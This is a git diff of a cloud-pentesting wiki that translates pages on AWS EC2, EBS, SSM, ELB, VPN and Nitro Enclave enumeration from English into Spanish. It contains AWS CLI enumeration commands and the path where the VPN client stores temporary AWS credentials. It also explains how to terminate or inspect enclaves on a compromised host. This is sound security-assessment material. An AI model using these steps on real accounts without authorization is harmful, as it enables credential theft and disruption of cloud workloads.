"$instanceid" --attribute userData | jq ".UserData.Value" | tr -d '"' | base64 -d +echo "" +echo "-------------------" done # Instance profiles @@ -128,22 +126,21 @@ aws ec2 describe-route-tables aws ec2 describe-vpcs aws ec2 describe-vpc-peering-connections ``` - -### Unauthenticated Access +### Acceso No Autenticado {{#ref}} ../../aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md {{#endref}} -### Privesc +### Escalación de Privilegios -In the following page you can check how to **abuse EC2 permissions to escalate privileges**: +En la siguiente página puedes verificar cómo **abusar de los permisos de EC2 para escalar privilegios**: {{#ref}} ../../aws-privilege-escalation/aws-ec2-privesc.md {{#endref}} -### Post-Exploitation +### Post-Explotación {{#ref}} ../../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/ @@ -151,17 +148,17 @@ In the following page you can check how to **abuse EC2 permissions to escalate p ## EBS -Amazon **EBS** (Elastic Block Store) **snapshots** are basically static **backups** of AWS EBS volumes. In other words, they are **copies** of the **disks** attached to an **EC2** Instance at a specific point in time. EBS snapshots can be copied across regions and accounts, or even downloaded and run locally. +Amazon **EBS** (Elastic Block Store) **snapshots** son básicamente **copias de seguridad** estáticas de volúmenes de AWS EBS. En otras palabras, son **copias** de los **discos** adjuntos a una **instancia EC2** en un momento específico. Los snapshots de EBS pueden ser copiados entre regiones y cuentas, o incluso descargados y ejecutados localmente. -Snapshots can contain **sensitive information** such as **source code or APi keys**, therefore, if you have the chance, it's recommended to check it. +Los snapshots pueden contener **información sensible** como **código fuente o claves de API**, por lo tanto, si tienes la oportunidad, se recomienda revisarlo. -### Difference AMI & EBS +### Diferencia AMI & EBS -An **AMI** is used to **launch an EC2 instance**, while an EC2 **Snapshot** is used to **backup and recover data stored on an EBS volume**. While an EC2 Snapshot can be used to create a new AMI, it is not the same thing as an AMI, and it does not include information about the operating system, application server, or other software required to run an application. +Una **AMI** se utiliza para **lanzar una instancia EC2**, mientras que un **Snapshot** de EC2 se utiliza para **respaldar y recuperar datos almacenados en un volumen EBS**. Aunque un Snapshot de EC2 puede ser utilizado para crear una nueva AMI, no es lo mismo que una AMI, y no incluye información sobre el sistema operativo, servidor de aplicaciones u otro software requerido para ejecutar una aplicación. -### Privesc +### Escalación de Privilegios -In the following page you can check how to **abuse EBS permissions to escalate privileges**: +En la siguiente página puedes verificar cómo **abusar de los permisos de EBS para escalar privilegios**: {{#ref}} ../../aws-privilege-escalation/aws-ebs-privesc.md @@ -169,14 +166,13 @@ In the following page you can check how to **abuse EBS permissions to escalate p ## SSM -**Amazon Simple Systems Manager (SSM)** allows to remotely manage floats of EC2 instances to make their administrations much more easy. Each of these instances need to be running the **SSM Agent service as the service will be the one getting the actions and performing them** from the AWS API. +**Amazon Simple Systems Manager (SSM)** permite gestionar de forma remota grupos de instancias EC2 para facilitar mucho más su administración. Cada una de estas instancias necesita estar ejecutando el **servicio SSM Agent, ya que este será el encargado de recibir las acciones y ejecutarlas** desde la API de AWS. -**SSM Agent** makes it possible for Systems Manager to update, manage, and configure these resources. The agent **processes requests from the Systems Manager service in the AWS Cloud**, and then runs them as specified in the request. +El **SSM Agent** permite que Systems Manager actualice, gestione y configure estos recursos. El agente **procesa solicitudes del servicio Systems Manager en la nube de AWS**, y luego las ejecuta según lo especificado en la solicitud. -The **SSM Agent comes**[ **preinstalled in some AMIs**](https://docs.aws.amazon.com/systems-manager/latest/userguide/ami-preinstalled-agent.html) or you need to [**manually install them**](https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-manual-agent-install.html) on the instances. Also, the IAM Role used inside the instance needs to have the policy **AmazonEC2RoleforSSM** attached to be able to communicate. - -### Enumeration +El **SSM Agent viene**[ **preinstalado en algunas AMIs**](https://docs.aws.amazon.com/systems-manager/latest/userguide/ami-preinstalled-agent.html) o necesitas [**instalarlos manualmente**](https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-manual-agent-install.html) en las instancias. Además, el rol de IAM utilizado dentro de la instancia necesita tener la política **AmazonEC2RoleforSSM** adjunta para poder comunicarse. +### Enumeración ```bash aws ssm describe-instance-information aws ssm describe-parameters @@ -185,16 +181,13 @@ aws ssm describe-instance-patches --instance-id aws ssm describe-instance-patch-states --instance-ids aws ssm describe-instance-associations-status --instance-id ``` - -You can check in an EC2 instance if Systems Manager is runnign just by executing: - +Puedes verificar en una instancia de EC2 si Systems Manager está en ejecución simplemente ejecutando: ```bash ps aux | grep amazon-ssm ``` - ### Privesc -In the following page you can check how to **abuse SSM permissions to escalate privileges**: +En la siguiente página puedes verificar cómo **abusar de los permisos de SSM para escalar privilegios**: {{#ref}} ../../aws-privilege-escalation/aws-ssm-privesc.md @@ -202,10 +195,9 @@ In the following page you can check how to **abuse SSM permissions to escalate p ## ELB -**Elastic Load Balancing** (ELB) is a **load-balancing service for Amazon Web Services** (AWS) deployments. ELB automatically **distributes incoming application traffic** and scales resources to meet traffic demands. +**Elastic Load Balancing** (ELB) es un **servicio de balanceo de carga para implementaciones de Amazon Web Services** (AWS). ELB distribuye automáticamente **el tráfico de aplicación entrante** y escala los recursos para satisfacer las demandas de tráfico. ### Enumeration - ```bash # List internet-facing ELBs aws elb describe-load-balancers @@ -216,11 +208,9 @@ aws elbv2 describe-load-balancers aws elbv2 describe-load-balancers | jq '.LoadBalancers[].DNSName' aws elbv2 describe-listeners --load-balancer-arn ``` +## Plantillas de Lanzamiento y Grupos de Autoescalado -## Launch Templates & Autoscaling Groups - -### Enumeration - +### Enumeración ```bash # Launch templates aws ec2 describe-launch-templates @@ -235,12 +225,11 @@ aws autoscaling describe-launch-configurations aws autoscaling describe-load-balancer-target-groups aws autoscaling describe-load-balancers ``` - ## Nitro -AWS Nitro is a suite of **innovative technologies** that form the underlying platform for AWS EC2 instances. Introduced by Amazon to **enhance security, performance, and reliability**, Nitro leverages custom **hardware components and a lightweight hypervisor**. It abstracts much of the traditional virtualization functionality to dedicated hardware and software, **minimizing the attack surface** and improving resource efficiency. By offloading virtualization functions, Nitro allows EC2 instances to deliver **near bare-metal performance**, making it particularly beneficial for resource-intensive applications. Additionally, the Nitro Security Chip specifically ensures the **security of the hardware and firmware**, further solidifying its robust architecture. +AWS Nitro es un conjunto de **tecnologías innovadoras** que forman la plataforma subyacente para las instancias de AWS EC2. Introducido por Amazon para **mejorar la seguridad, el rendimiento y la fiabilidad**, Nitro aprovecha **componentes de hardware personalizados y un hipervisor ligero**. Abstrae gran parte de la funcionalidad de virtualización tradicional a hardware y software dedicados, **minimizando la superficie de ataque** y mejorando la eficiencia de los recursos. Al descargar funciones de virtualización, Nitro permite que las instancias de EC2 ofrezcan **un rendimiento casi bare-metal**, lo que lo hace particularmente beneficioso para aplicaciones que requieren muchos recursos. Además, el Nitro Security Chip asegura específicamente la **seguridad del hardware y el firmware**, solidificando aún más su robusta arquitectura. -Get more information and how to enumerate it from: +Obtén más información y cómo enumerarlo desde: {{#ref}} aws-nitro-enum.md @@ -248,35 +237,34 @@ aws-nitro-enum.md ## VPN -A VPN allows to connect your **on-premise network (site-to-site VPN)** or the **workers laptops (Client VPN)** with a **AWS VPC** so services can accessed without needing to expose them to the internet. +Una VPN permite conectar tu **red local (VPN sitio a sitio)** o las **laptops de los trabajadores (VPN de cliente)** con una **AWS VPC** para que los servicios puedan ser accedidos sin necesidad de exponerlos a internet. -#### Basic AWS VPN Components +#### Componentes Básicos de AWS VPN 1. **Customer Gateway**: - - A Customer Gateway is a resource that you create in AWS to represent your side of a VPN connection. - - It is essentially a physical device or software application on your side of the Site-to-Site VPN connection. - - You provide routing information and the public IP address of your network device (such as a router or a firewall) to AWS to create a Customer Gateway. - - It serves as a reference point for setting up the VPN connection and doesn't incur additional charges. +- Un Customer Gateway es un recurso que creas en AWS para representar tu lado de una conexión VPN. +- Es esencialmente un dispositivo físico o una aplicación de software en tu lado de la conexión VPN sitio a sitio. +- Proporcionas información de enrutamiento y la dirección IP pública de tu dispositivo de red (como un enrutador o un firewall) a AWS para crear un Customer Gateway. +- Sirve como un punto de referencia para configurar la conexión VPN y no incurre en cargos adicionales. 2. **Virtual Private Gateway**: - - A Virtual Private Gateway (VPG) is the VPN concentrator on the Amazon side of the Site-to-Site VPN connection. - - It is attached to your VPC and serves as the target for your VPN connection. - - VPG is the AWS side endpoint for the VPN connection. - - It handles the secure communication between your VPC and your on-premises network. +- Un Virtual Private Gateway (VPG) es el concentrador VPN en el lado de Amazon de la conexión VPN sitio a sitio. +- Está adjunto a tu VPC y sirve como el objetivo para tu conexión VPN. +- VPG es el punto final del lado de AWS para la conexión VPN. +- Maneja la comunicación segura entre tu VPC y tu red local. 3. **Site-to-Site VPN Connection**: - - A Site-to-Site VPN connection connects your on-premises network to a VPC through a secure, IPsec VPN tunnel. - - This type of connection requires a Customer Gateway and a Virtual Private Gateway. - - It's used for secure, stable, and consistent communication between your data center or network and your AWS environment. - - Typically used for regular, long-term connections and is billed based on the amount of data transferred over the connection. +- Una conexión VPN sitio a sitio conecta tu red local a una VPC a través de un túnel VPN IPsec seguro. +- Este tipo de conexión requiere un Customer Gateway y un Virtual Private Gateway. +- Se utiliza para una comunicación segura, estable y consistente entre tu centro de datos o red y tu entorno AWS. +- Típicamente se utiliza para conexiones regulares y a largo plazo y se factura según la cantidad de datos transferidos a través de la conexión. 4. **Client VPN Endpoint**: - - A Client VPN endpoint is a resource that you create in AWS to enable and manage client VPN sessions. - - It is used for allowing individual devices (like laptops, smartphones, etc.) to securely connect to AWS resources or your on-premises network. - - It differs from Site-to-Site VPN in that it is designed for individual clients rather than connecting entire networks. - - With Client VPN, each client device uses a VPN client software to establish a secure connection. +- Un endpoint de Client VPN es un recurso que creas en AWS para habilitar y gestionar sesiones de VPN de cliente. +- Se utiliza para permitir que dispositivos individuales (como laptops, smartphones, etc.) se conecten de forma segura a los recursos de AWS o a tu red local. +- Se diferencia de la VPN sitio a sitio en que está diseñado para clientes individuales en lugar de conectar redes enteras. +- Con Client VPN, cada dispositivo cliente utiliza un software de cliente VPN para establecer una conexión segura. -You can [**find more information about the benefits and components of AWS VPNs here**](aws-vpc-and-networking-basic-information.md#vpn). +Puedes [**encontrar más información sobre los beneficios y componentes de las VPN de AWS aquí**](aws-vpc-and-networking-basic-information.md#vpn). ### Enumeration - ```bash # VPN endpoints ## Check used subnetwork, authentication, SGs, connected... @@ -300,31 +288,26 @@ aws ec2 describe-vpn-gateways # Get VPN site-to-site connections aws ec2 describe-vpn-connections ``` +### Enumeración Local -### Local Enumeration +**Credenciales Temporales Locales** -**Local Temporary Credentials** +Cuando se utiliza el Cliente VPN de AWS para conectarse a una VPN, el usuario generalmente **inicia sesión en AWS** para obtener acceso a la VPN. Luego, algunas **credenciales de AWS se crean y almacenan** localmente para establecer la conexión VPN. Estas credenciales se **almacenan en** `$HOME/.config/AWSVPNClient/TemporaryCredentials//temporary-credentials.txt` y contienen un **AccessKey**, un **SecretKey** y un **Token**. -When AWS VPN Client is used to connect to a VPN, the user will usually **login in AWS** to get access to the VPN. Then, some **AWS credentials are created and stored** locally to establish the VPN connection. These credentials are **stored in** `$HOME/.config/AWSVPNClient/TemporaryCredentials//temporary-credentials.txt` and contains an **AccessKey**, a **SecretKey** and a **Token**. +Las credenciales pertenecen al usuario `arn:aws:sts:::assumed-role/aws-vpn-client-metrics-analytics-access-role/CognitoIdentityCredentials` (TODO: investigar más sobre los permisos de estas credenciales). -The credentials belong to the user `arn:aws:sts:::assumed-role/aws-vpn-client-metrics-analytics-access-role/CognitoIdentityCredentials` (TODO: research more about the permissions of this credentials). +**Archivos de configuración opvn** -**opvn config files** +Si se **estableció una conexión VPN**, deberías buscar archivos de configuración **`.opvn`** en el sistema. Además, un lugar donde podrías encontrar las **configuraciones** es en **`$HOME/.config/AWSVPNClient/OpenVpnConfigs`** -If a **VPN connection was stablished** you should search for **`.opvn`** config files in the system. Moreover, one place where you could find the **configurations** is in **`$HOME/.config/AWSVPNClient/OpenVpnConfigs`** - -#### **Post Exploitaiton** +#### **Post Explotación** {{#ref}} ../../aws-post-exploitation/aws-vpn-post-exploitation.md {{#endref}} -## References +## Referencias - [https://docs.aws.amazon.com/batch/latest/userguide/getting-started-ec2.html](https://docs.aws.amazon.com/batch/latest/userguide/getting-started-ec2.html) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md index 0575a17d8..417c4d864 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md @@ -2,21 +2,20 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Información Básica -AWS Nitro is a suite of **innovative technologies** that form the underlying platform for AWS EC2 instances. Introduced by Amazon to **enhance security, performance, and reliability**, Nitro leverages custom **hardware components and a lightweight hypervisor**. It abstracts much of the traditional virtualization functionality to dedicated hardware and software, **minimizing the attack surface** and improving resource efficiency. By offloading virtualization functions, Nitro allows EC2 instances to deliver **near bare-metal performance**, making it particularly beneficial for resource-intensive applications. Additionally, the Nitro Security Chip specifically ensures the **security of the hardware and firmware**, further solidifying its robust architecture. +AWS Nitro es un conjunto de **tecnologías innovadoras** que forman la plataforma subyacente para las instancias de AWS EC2. Introducido por Amazon para **mejorar la seguridad, el rendimiento y la fiabilidad**, Nitro aprovecha **componentes de hardware personalizados y un hipervisor ligero**. Abstrae gran parte de la funcionalidad de virtualización tradicional a hardware y software dedicados, **minimizando la superficie de ataque** y mejorando la eficiencia de los recursos. Al descargar funciones de virtualización, Nitro permite que las instancias de EC2 ofrezcan **un rendimiento casi bare-metal**, lo que resulta particularmente beneficioso para aplicaciones que requieren muchos recursos. Además, el Nitro Security Chip asegura específicamente la **seguridad del hardware y el firmware**, solidificando aún más su arquitectura robusta. ### Nitro Enclaves -**AWS Nitro Enclaves** provides a secure, **isolated compute environment within Amazon EC2 instances**, specifically designed for processing highly sensitive data. Leveraging the AWS Nitro System, these enclaves ensure robust **isolation and security**, ideal for **handling confidential information** such as PII or financial records. They feature a minimalist environment, significantly reducing the risk of data exposure. Additionally, Nitro Enclaves support cryptographic attestation, allowing users to verify that only authorized code is running, crucial for maintaining strict compliance and data protection standards. +**AWS Nitro Enclaves** proporciona un entorno de computación seguro y **aislado dentro de las instancias de Amazon EC2**, diseñado específicamente para procesar datos altamente sensibles. Aprovechando el AWS Nitro System, estos enclaves aseguran un **aislamiento y seguridad robustos**, ideales para **manejar información confidencial** como PII o registros financieros. Presentan un entorno minimalista, reduciendo significativamente el riesgo de exposición de datos. Además, Nitro Enclaves soporta la atestación criptográfica, permitiendo a los usuarios verificar que solo se está ejecutando código autorizado, crucial para mantener estándares estrictos de cumplimiento y protección de datos. > [!CAUTION] -> Nitro Enclave images are **run from inside EC2 instances** and you cannot see from the AWS web console if an EC2 instances is running images in Nitro Enclave or not. +> Las imágenes de Nitro Enclave se **ejecutan desde dentro de las instancias de EC2** y no puedes ver desde la consola web de AWS si una instancia de EC2 está ejecutando imágenes en Nitro Enclave o no. -## Nitro Enclave CLI installation - -Follow the all instructions [**from the documentation**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave). However, these are the most important ones: +## Instalación de Nitro Enclave CLI +Sigue todas las instrucciones [**de la documentación**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave). Sin embargo, estas son las más importantes: ```bash # Install tools sudo amazon-linux-extras install aws-nitro-enclaves-cli -y @@ -32,47 +31,39 @@ nitro-cli --version # Start and enable the Nitro Enclaves allocator service. sudo systemctl start nitro-enclaves-allocator.service && sudo systemctl enable nitro-enclaves-allocator.service ``` - ## Nitro Enclave Images -The images that you can run in Nitro Enclave are based on docker images, so you can create your Nitro Enclave images from docker images like: - +Las imágenes que puedes ejecutar en Nitro Enclave se basan en imágenes de docker, por lo que puedes crear tus imágenes de Nitro Enclave a partir de imágenes de docker como: ```bash # You need to have the docker image accesible in your running local registry # Or indicate the full docker image URL to access the image nitro-cli build-enclave --docker-uri : --output-file nitro-img.eif ``` +Como puedes ver, las imágenes de Nitro Enclave utilizan la extensión **`eif`** (Archivo de Imagen de Enclave). -As you can see the Nitro Enclave images use the extension **`eif`** (Enclave Image File). - -The output will look similar to: - +La salida se verá similar a: ``` Using the locally available Docker image... Enclave Image successfully created. { - "Measurements": { - "HashAlgorithm": "Sha384 { ... }", - "PCR0": "e199261541a944a93129a52a8909d29435dd89e31299b59c371158fc9ab3017d9c450b0a580a487e330b4ac691943284", - "PCR1": "bcdf05fefccaa8e55bf2c8d6dee9e79bbff31e34bf28a99aa19e6b29c37ee80b214a414b7607236edf26fcb78654e63f", - "PCR2": "2e1fca1dbb84622ec141557dfa971b4f8ea2127031b264136a20278c43d1bba6c75fea286cd4de9f00450b6a8db0e6d3" - } +"Measurements": { +"HashAlgorithm": "Sha384 { ... }", +"PCR0": "e199261541a944a93129a52a8909d29435dd89e31299b59c371158fc9ab3017d9c450b0a580a487e330b4ac691943284", +"PCR1": "bcdf05fefccaa8e55bf2c8d6dee9e79bbff31e34bf28a99aa19e6b29c37ee80b214a414b7607236edf26fcb78654e63f", +"PCR2": "2e1fca1dbb84622ec141557dfa971b4f8ea2127031b264136a20278c43d1bba6c75fea286cd4de9f00450b6a8db0e6d3" +} } ``` +### Ejecutar una Imagen -### Run an Image - -As per [**the documentation**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave), in order to run an enclave image you need to assign it memory of **at least 4 times the size of the `eif` file**. It's possible to configure the default resources to give to it in the file - +Según [**la documentación**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave), para ejecutar una imagen de enclave necesitas asignarle memoria de **al menos 4 veces el tamaño del archivo `eif`**. Es posible configurar los recursos predeterminados que se le asignarán en el archivo. ```shell /etc/nitro_enclaves/allocator.yaml ``` - > [!CAUTION] -> Always remember that you need to **reserve some resources for the parent EC2** instance also! - -After knowing the resources to give to an image and even having modified the configuration file it's possible to run an enclave image with: +> ¡Recuerda siempre que necesitas **reservar algunos recursos para la instancia EC2** principal también! +Después de conocer los recursos que se deben asignar a una imagen e incluso haber modificado el archivo de configuración, es posible ejecutar una imagen de enclave con: ```shell # Restart the service so the new default values apply sudo systemctl start nitro-enclaves-allocator.service && sudo systemctl enable nitro-enclaves-allocator.service @@ -80,80 +71,72 @@ sudo systemctl start nitro-enclaves-allocator.service && sudo systemctl enable n # Indicate the CPUs and memory to give nitro-cli run-enclave --cpu-count 2 --memory 3072 --eif-path hello.eif --debug-mode --enclave-cid 16 ``` +### Enumerar Enclaves -### Enumerate Enclaves - -If you compromise and EC2 host it's possible to get a list of running enclave images with: - +Si comprometes un host EC2, es posible obtener una lista de imágenes de enclave en ejecución con: ```bash nitro-cli describe-enclaves ``` - -It's **not possible to get a shell** inside a running enclave image because thats the main purpose of enclave, however, if you used the parameter **`--debug-mode`**, it's possible to get the **stdout** of it with: - +No es **posible obtener un shell** dentro de una imagen de enclave en ejecución porque ese es el propósito principal del enclave, sin embargo, si usaste el parámetro **`--debug-mode`**, es posible obtener el **stdout** de él con: ```shell ENCLAVE_ID=$(nitro-cli describe-enclaves | jq -r ".[0].EnclaveID") nitro-cli console --enclave-id ${ENCLAVE_ID} ``` +### Terminar Enclaves -### Terminate Enclaves - -If an attacker compromise an EC2 instance by default he won't be able to get a shell inside of them, but he will be able to **terminate them** with: - +Si un atacante compromete una instancia de EC2, por defecto no podrá obtener un shell dentro de ellas, pero podrá **terminarlas** con: ```shell nitro-cli terminate-enclave --enclave-id ${ENCLAVE_ID} ``` - ## Vsocks -The only way to communicate with an **enclave** running image is using **vsocks**. +La única forma de comunicarse con una **enclave** que ejecuta imágenes es utilizando **vsocks**. -**Virtual Socket (vsock)** is a socket family in Linux specifically designed to facilitate **communication** between virtual machines (**VMs**) and their **hypervisors**, or between VMs **themselves**. Vsock enables efficient, **bi-directional communication** without relying on the host's networking stack. This makes it possible for VMs to communicate even without network configurations, **using a 32-bit Context ID (CID) and port numbers** to identify and manage connections. The vsock API supports both stream and datagram socket types, similar to TCP and UDP, providing a versatile tool for user-level applications in virtual environments. +**Virtual Socket (vsock)** es una familia de sockets en Linux diseñada específicamente para facilitar la **comunicación** entre máquinas virtuales (**VMs**) y sus **hipervisores**, o entre las VMs **mismas**. Vsock permite una **comunicación** eficiente y **bidireccional** sin depender de la pila de red del host. Esto hace posible que las VMs se comuniquen incluso sin configuraciones de red, **utilizando un ID de Contexto de 32 bits (CID) y números de puerto** para identificar y gestionar conexiones. La API de vsock admite tanto tipos de sockets de flujo como de datagramas, similar a TCP y UDP, proporcionando una herramienta versátil para aplicaciones de nivel de usuario en entornos virtuales. > [!TIP] -> Therefore, an vsock address looks like this: `:` +> Por lo tanto, una dirección vsock se ve así: `:` -To find **CIDs** of the enclave running images you could just execute the following cmd and thet the **`EnclaveCID`**: +Para encontrar los **CIDs** de las imágenes de enclave en ejecución, puedes ejecutar el siguiente comando y obtener el **`EnclaveCID`**:
nitro-cli describe-enclaves
 
 [
-  {
-    "EnclaveName": "secure-channel-example",
-    "EnclaveID": "i-0bc274f83ade02a62-enc18ef3d09c886748",
-    "ProcessID": 10131,
+{
+"EnclaveName": "secure-channel-example",
+"EnclaveID": "i-0bc274f83ade02a62-enc18ef3d09c886748",
+"ProcessID": 10131,
     "EnclaveCID": 16,
     "NumberOfCPUs": 2,
-    "CPUIDs": [
-      1,
-      3
-    ],
-    "MemoryMiB": 1024,
-    "State": "RUNNING",
-    "Flags": "DEBUG_MODE",
-    "Measurements": {
-      "HashAlgorithm": "Sha384 { ... }",
-      "PCR0": "e199261541a944a93129a52a8909d29435dd89e31299b59c371158fc9ab3017d9c450b0a580a487e330b4ac691943284",
-      "PCR1": "bcdf05fefccaa8e55bf2c8d6dee9e79bbff31e34bf28a99aa19e6b29c37ee80b214a414b7607236edf26fcb78654e63f",
-      "PCR2": "2e1fca1dbb84622ec141557dfa971b4f8ea2127031b264136a20278c43d1bba6c75fea286cd4de9f00450b6a8db0e6d3"
-    }
-  }
+"CPUIDs": [
+1,
+3
+],
+"MemoryMiB": 1024,
+"State": "RUNNING",
+"Flags": "DEBUG_MODE",
+"Measurements": {
+"HashAlgorithm": "Sha384 { ... }",
+"PCR0": "e199261541a944a93129a52a8909d29435dd89e31299b59c371158fc9ab3017d9c450b0a580a487e330b4ac691943284",
+"PCR1": "bcdf05fefccaa8e55bf2c8d6dee9e79bbff31e34bf28a99aa19e6b29c37ee80b214a414b7607236edf26fcb78654e63f",
+"PCR2": "2e1fca1dbb84622ec141557dfa971b4f8ea2127031b264136a20278c43d1bba6c75fea286cd4de9f00450b6a8db0e6d3"
+}
+}
 ]
 
> [!WARNING] -> Note that from the host there isn't any way to know if a CID is exposing any port! Unless using some **vsock port scanner like** [**https://github.com/carlospolop/Vsock-scanner**](https://github.com/carlospolop/Vsock-scanner). +> Ten en cuenta que desde el host no hay forma de saber si un CID está exponiendo algún puerto. ¡A menos que se utilice algún **escáner de puertos vsock como** [**https://github.com/carlospolop/Vsock-scanner**](https://github.com/carlospolop/Vsock-scanner). ### Vsock Server/Listener -Find here a couple of examples: +Encuentra aquí un par de ejemplos: - [https://github.com/aws-samples/aws-nitro-enclaves-workshop/blob/main/resources/code/my-first-enclave/secure-local-channel/server.py](https://github.com/aws-samples/aws-nitro-enclaves-workshop/blob/main/resources/code/my-first-enclave/secure-local-channel/server.py)
Simple Python Listener - ```python #!/usr/bin/env python3 @@ -173,30 +156,26 @@ s.listen() print(f"Connection opened by cid={remote_cid} port={remote_port}") while True: - buf = conn.recv(64) - if not buf: - break +buf = conn.recv(64) +if not buf: +break - print(f"Received bytes: {buf}") +print(f"Received bytes: {buf}") ``` -
- ```bash # Using socat socat VSOCK-LISTEN:,fork EXEC:"echo Hello from server!" ``` +### Cliente Vsock -### Vsock Client - -Examples: +Ejemplos: - [https://github.com/aws-samples/aws-nitro-enclaves-workshop/blob/main/resources/code/my-first-enclave/secure-local-channel/client.py](https://github.com/aws-samples/aws-nitro-enclaves-workshop/blob/main/resources/code/my-first-enclave/secure-local-channel/client.py)
-Simple Python Client - +Cliente Python Simple ```python #!/usr/bin/env python3 @@ -212,64 +191,51 @@ s.connect((CID, PORT)) s.sendall(b"Hello, world!") s.close() ``` -
- ```bash # Using socat echo "Hello, vsock!" | socat - VSOCK-CONNECT:3:5000 ``` - ### Vsock Proxy -The tool vsock-proxy allows to proxy a vsock proxy with another address, for example: - +La herramienta vsock-proxy permite hacer proxy a un proxy vsock con otra dirección, por ejemplo: ```bash vsock-proxy 8001 ip-ranges.amazonaws.com 443 --config your-vsock-proxy.yaml ``` - -This will forward the **local port 8001 in vsock** to `ip-ranges.amazonaws.com:443` and the file **`your-vsock-proxy.yaml`** might have this content allowing to access `ip-ranges.amazonaws.com:443`: - +Esto redirigirá el **puerto local 8001 en vsock** a `ip-ranges.amazonaws.com:443` y el archivo **`your-vsock-proxy.yaml`** podría tener este contenido que permite acceder a `ip-ranges.amazonaws.com:443`: ```yaml allowlist: - - { address: ip-ranges.amazonaws.com, port: 443 } +- { address: ip-ranges.amazonaws.com, port: 443 } ``` - -It's possible to see the vsock addresses (**`:`**) used by the EC2 host with (note the `3:8001`, 3 is the CID and 8001 the port): - +Es posible ver las direcciones vsock (**`:`**) utilizadas por el host EC2 con (nota el `3:8001`, 3 es el CID y 8001 el puerto): ```bash sudo ss -l -p -n | grep v_str v_str LISTEN 0 0 3:8001 *:* users:(("vsock-proxy",pid=9458,fd=3)) ``` +## Atestación de Nitro Enclave y KMS -## Nitro Enclave Atestation & KMS +El SDK de Nitro Enclaves permite a una enclave solicitar un **documento de atestación firmado criptográficamente** del **Hypervisor** de Nitro, que incluye **mediciones únicas** específicas para esa enclave. Estas mediciones, que incluyen **hashes y registros de configuración de plataforma (PCRs)**, se utilizan durante el proceso de atestación para **probar la identidad de la enclave** y **generar confianza con servicios externos**. El documento de atestación típicamente contiene valores como PCR0, PCR1 y PCR2, que has encontrado antes al construir y guardar un EIF de enclave. -The Nitro Enclaves SDK allows an enclave to request a **cryptographically signed attestation document** from the Nitro **Hypervisor**, which includes **unique measurements** specific to that enclave. These measurements, which include **hashes and platform configuration registers (PCRs)**, are used during the attestation process to **prove the enclave's identity** and **build trust with external services**. The attestation document typically contains values like PCR0, PCR1, and PCR2, which you have encountered before when building and saving an enclave EIF. +De los [**docs**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-3-cryptographic-attestation#a-unique-feature-on-nitro-enclaves), estos son los valores de PCR: -From the [**docs**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-3-cryptographic-attestation#a-unique-feature-on-nitro-enclaves), these are the PCR values: +
PCRHash de ...Descripción
PCR0Archivo de imagen de enclaveUna medida contigua del contenido del archivo de imagen, sin los datos de sección.
PCR1Núcleo de Linux y arranqueUna medición contigua de los datos del núcleo y del ramfs de arranque.
PCR2AplicaciónUna medición contigua y en orden de las aplicaciones de usuario, sin el ramfs de arranque.
PCR3Rol de IAM asignado a la instancia padreUna medición contigua del rol de IAM asignado a la instancia padre. Asegura que el proceso de atestación tenga éxito solo cuando la instancia padre tenga el rol de IAM correcto.
PCR4ID de instancia de la instancia padreUna medición contigua del ID de la instancia padre. Asegura que el proceso de atestación tenga éxito solo cuando la instancia padre tenga un ID de instancia específico.
PCR8Certificado de firma del archivo de imagen de enclaveUna medida del certificado de firma especificado para el archivo de imagen de enclave. Asegura que el proceso de atestación tenga éxito solo cuando la enclave se haya iniciado desde un archivo de imagen de enclave firmado por un certificado específico.
-
PCRHash of ...Description
PCR0Enclave image fileA contiguous measure of the contents of the image file, without the section data.
PCR1Linux kernel and bootstrapA contiguous measurement of the kernel and boot ramfs data.
PCR2ApplicationA contiguous, in-order measurement of the user applications, without the boot ramfs.
PCR3IAM role assigned to the parent instanceA contiguous measurement of the IAM role assigned to the parent instance. Ensures that the attestation process succeeds only when the parent instance has the correct IAM role.
PCR4Instance ID of the parent instanceA contiguous measurement of the ID of the parent instance. Ensures that the attestation process succeeds only when the parent instance has a specific instance ID.
PCR8Enclave image file signing certificateA measure of the signing certificate specified for the enclave image file. Ensures that the attestation process succeeds only when the enclave was booted from an enclave image file signed by a specific certificate.
